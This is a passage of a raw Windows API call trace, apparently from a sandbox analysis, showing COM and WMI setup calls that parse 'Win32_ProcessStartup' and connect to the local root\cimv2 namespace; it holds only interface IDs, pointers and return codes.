puCount=0x1b30d698*=0x0) returned 0x0 [0120.417] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af3a0, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0120.417] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0120.417] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0120.417] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0120.417] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.418] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b45d7b0) returned 0x0 [0120.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d7b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0120.418] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d7b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b0720) returned 0x0 [0120.418] WbemDefPath:IUnknown:Release (This=0x1b45d7b0) returned 0x0 [0120.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b0720) returned 0x0 [0120.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0120.418] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0120.422] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0120.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0120.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0120.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b45d7d0) returned 0x0 [0120.422] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d7d0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.422] WbemDefPath:IUnknown:Release (This=0x1b45d7d0) returned 0x3 [0120.422] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0120.422] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0120.422] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0120.422] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0120.422] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0120.422] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0120.422] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0120.423] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0720, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b0720) returned 0x0 [0120.423] WbemDefPath:IUnknown:AddRef (This=0x1b4b0720) returned 0x3 [0120.423] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x2 [0120.423] WbemDefPath:IWbemPath:SetText (This=0x1b4b0720, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0720, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0720, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0720, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0120.423] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.423] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0120.423] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0120.423] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0120.423] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.424] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b45d950) returned 0x0 [0120.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b45d950, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0120.424] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b45d950, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x1b4aeda0) returned 0x0 [0120.424] WbemDefPath:IUnknown:Release (This=0x1b45d950) returned 0x0 [0120.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x1b4aeda0) returned 0x0 [0120.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0120.424] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0120.425] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0120.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0120.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0120.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b45d7b0) returned 0x0 [0120.425] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b45d7b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.425] WbemDefPath:IUnknown:Release (This=0x1b45d7b0) returned 0x3 [0120.425] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0120.425] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0120.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0120.425] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0120.425] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0120.425] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0120.425] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0120.425] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aeda0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4aeda0) returned 0x0 [0120.425] WbemDefPath:IUnknown:AddRef (This=0x1b4aeda0) returned 0x3 [0120.425] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x2 [0120.425] WbemDefPath:IWbemPath:SetText (This=0x1b4aeda0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0120.425] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0120.425] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0120.425] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.426] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0120.426] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0120.426] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0120.426] IUnknown:Release (This=0x6124e8) returned 0x1 [0120.426] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b45d5b0) returned 0x0 [0120.426] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45d5b0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0120.426] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b45d5b0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b45da70) returned 0x0 [0120.426] WbemLocator:IUnknown:Release (This=0x1b45d5b0) returned 0x0 [0120.426] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b45da70) returned 0x0 [0120.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0120.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0120.427] WbemLocator:IUnknown:AddRef (This=0x1b45da70) returned 0x3 [0120.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0120.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0120.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0120.427] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0120.427] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0120.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0120.427] WbemLocator:IUnknown:Release (This=0x1b45da70) returned 0x2 [0120.427] WbemLocator:IUnknown:Release (This=0x1b45da70) returned 0x1 [0120.427] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0120.427] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0120.427] WbemLocator:IUnknown:QueryInterface (in: This=0x1b45da70, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b45da70) returned 0x0 [0120.427] WbemLocator:IUnknown:AddRef (This=0x1b45da70) returned 0x3 [0120.427] WbemLocator:IUnknown:Release (This=0x1b45da70) returned 0x2 [0120.427] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aeda0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0120.427] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0120.427] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aeda0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0120.428] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b45da90) returned 0x0 [0120.428] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b45da90, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4ceb90) returned 0x0 [0120.903] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b5116d0) returned 0x0 [0120.903] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b5116d0, pProxy=0x1b4ceb90, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0120.903] WbemLocator:IUnknown:Release (This=0x1b5116d0) returned 0x1 [0120.903] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b511718) returned 0x0 [0120.904] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b5116d0) returned 0x0 [0120.904] WbemLocator:IClientSecurity:SetBlanket (This=0x1b5116d0, pProxy=0x1b4ceb90, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0120.904] WbemLocator:IUnknown:Release (This=0x1b5116d0) returned 0x2 [0120.904] WbemLocator:IUnknown:Release (This=0x1b511718) returned 0x1 [0120.904] CoTaskMemFree (pv=0x1b461d30) [0120.904] WbemLocator:IUnknown:Release (This=0x1b45da90) returned 0x0 [0120.904] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b511718) returned 0x0 [0120.904] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0120.907] WbemLocator:IUnknown:QueryInterface (in: This=0x1b511718, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0120.929] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4ceb90, 